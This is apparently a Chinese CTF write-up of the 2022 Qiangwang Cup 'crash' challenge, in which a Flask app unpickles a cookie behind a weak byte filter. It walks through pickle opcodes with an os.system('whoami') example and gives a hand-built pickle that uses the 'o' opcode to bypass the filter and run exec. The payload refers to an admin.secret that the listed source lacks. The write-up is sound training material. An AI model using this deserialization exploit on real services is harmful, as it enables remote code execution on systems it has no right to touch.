刷题笔记:[2022强网杯]初赛


crash

源码

首页给出源码

import base64
import pickle
from flask import Flask, make_response,request, session
import random

app = Flask(__name__,static_url_path='')
app.secret_key=random.randbytes(12)

class User:
    def __init__(self, username,password):
        self.username=username
        self.token=hash(password)

def get_password(username):
    if username=="admin":
        return '123'
    else:
        return session.get("password")

@app.route('/balancer', methods=['GET', 'POST'])
def flag():
    pickle_data=base64.b64decode(request.cookies.get("userdata"))
    if b'R' in pickle_data or b"secret" in pickle_data:
        return "You damm hacker!"
    userdata=pickle.loads(pickle_data)
    if userdata.token!=hash(get_password(userdata.username)):
         return "Login First"
    if userdata.username=='admin':
        return "Welcome admin, here is your next challenge!"
    return "You're not admin!"

@app.route('/login', methods=['GET', 'POST'])
def login():
    resp = make_response("success")
    session["password"]=request.values.get("password")
    resp.set_cookie("userdata", base64.b64encode(pickle.dumps(User(request.values.get("username"),request.values.get("password")),2)), max_age=3600)
    return resp

@app.route('/', methods=['GET', 'POST'])
def index():
    return 'hello world'

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

根据代码意思,首先访问/login?username=1&password=1,登录成功,写入session。

然后访问/balancer,提示不是admin。很明显,需要构造admin身份。

题解

主要是pickle的反序列化,由于检测Rsecret,没办法直接构造序列化字符串。

序列化类中带有__reduce__函数的话,输出末位会有个R

序列化实际上是转换成pvm操作码。

在P神Code-Breaking中的两个Python沙箱一文中有手搓pickle序列化代码的具体介绍。

c<module>
<callable>
(<args>
tR.

例如字节码__import__('os').system(*('whoami',)),会被转换成

cos
system
(S'whoami'
tR.
cos         =>  引入模块 os.
system      =>  引用 system, 并将其添加到 stack.
(S'whoami'  =>  把当前 stack 存到 metastack, 清空 stack, 再将 'whoami' 压入 stack.
t           =>  stack 中的值弹出并转为 tuple, 把 metastack 还原到 stack, 再将 tuple 压入 stack.
R           =>  system(*('whoami',))
.           =>  结束并返回当前栈顶元素.

大概思路就是:先反序列化修改admin.secret,再/login->/balancer

首先根据文章手搓一个序列化代码,再进行base64编码。

import base64

poc = b'''(cbuiltins
exec
S'c="global admin;admin.s"+"ecret='1'";exec(c)'
o.
'''

print(base64.b64encode(poc))
#OUTPUT: KGNidWlsdGlucwpleGVjClMnYz0iZ2xvYmFsIGFkbWluO2FkbWluLnMiKyJlY3JldD0nMSciO2V4ZWMoYyknCm8uCg==

访问/balancer,将POC结果输入到cookie里的userdata字段,刷新,这里会爆500,本地复现可以发现有报错,但不影响,反序列化还是成功了。

然后访问/login?username=admin&password=1,更新了session和userdata,再访问/balancer

最后访问到负载均衡,这里随便打点IP点个数字,点一下出flag,结束。


文章作者: 巡璃
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 巡璃 !
评论
  目录